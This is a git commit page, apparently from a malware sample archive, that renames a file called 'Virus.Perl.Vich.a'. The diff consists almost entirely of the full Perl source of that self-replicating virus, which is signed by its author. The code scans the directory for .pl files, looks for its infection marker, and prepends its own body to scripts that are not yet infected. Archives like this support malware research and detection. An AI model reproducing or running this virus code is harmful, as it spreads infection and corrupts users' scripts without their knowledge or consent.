Rename Virus.Perl.Vich to Virus.Perl.Vich.a

2026-06-15 15:29:23 +00:00 · 2020-11-14 01:40:47 -06:00
parent f87c73173e
commit d22995b95e
1 changed files with 0 additions and 0 deletions
@@ -0,0 +1,87 @@
+#onehalf3554
+
+#                this perl virus (c)Chernickevich Konstantin
+#                http://onehalf.hotmail.ru
+#                email:onehalf3554@mail.ru
+
+
+
+system"clear";
+$partone="#End_my";
+$parttwo="_body";
+$EndMarker=$partone.$parttwo;
+$infected=0;
+$BodyCopy=0;
+$textold="";
+
+# this "while" for detecting *.pl file
+# and output in the $_ local perl variable
+
+while (<*.pl>)
+{
+
+$files=$_;
+$text="<".$_;
+$textw=">".$_;
+$textww=">>".$_;
+
+
+ open(TESTFILE,$text);
+ until(eof(TESTFILE))
+        {
+          $strres=readline(TESTFILE);
+	  
+    
+#               this procedure detecting a marker in the *.pl file
+#      if marker detected then file infected if not then file not infected!
+
+          if ($strres=~ m/onehalf3554/i)
+	   {
+                  if ($BodyCopy==0)
+	                 { 
+	                    $BodyCopy=1;
+	                    open(VIRUSBODY,$text);
+	                      until ($BodyStr=~ m/$EndMarker/i)
+	                        {
+	                         $BodyStr=readline(VIRUSBODY) ;
+	                         $BodyLoopCount++;
+	                         $BodyArray[$BodyLoopCount]=$BodyStr; 
+	                        }
+                            close(VIRUSBODY);
+	                  } 
+			  $infected=1;
+	   }
+         }
+close (TESTFILE);
+
+if ($infected==1)
+{
+print "[im detecting old infecting file :]\n";
+print $textw." infected old time.[Ok]\n";
+open(RESERVBODY,">body.bod");
+print RESERVBODY @BodyArray;
+close(RESERVBODY);
+}
+
+
+        if ($infected==0)
+	{    
+	               print $textw."im trying infecting this file now! \n";
+                       system "cp ".$files." temp.bod";
+		       open(NULFILE,$textww);
+		       $NUL="";
+		       print NULFILE $NUL;
+		       system "cp body.bod"." ".$files; 
+                       open(DATAFILE,"<temp.bod");
+		       until(eof(DATAFILE))
+		       {
+		       $reloader=readline(DATAFILE);    	
+		       print NULFILE $reloader;                
+		       }
+	  close(DATAFILE);	       
+          close(NULFILE);
+	}
+
+ }
+#End_my_body
+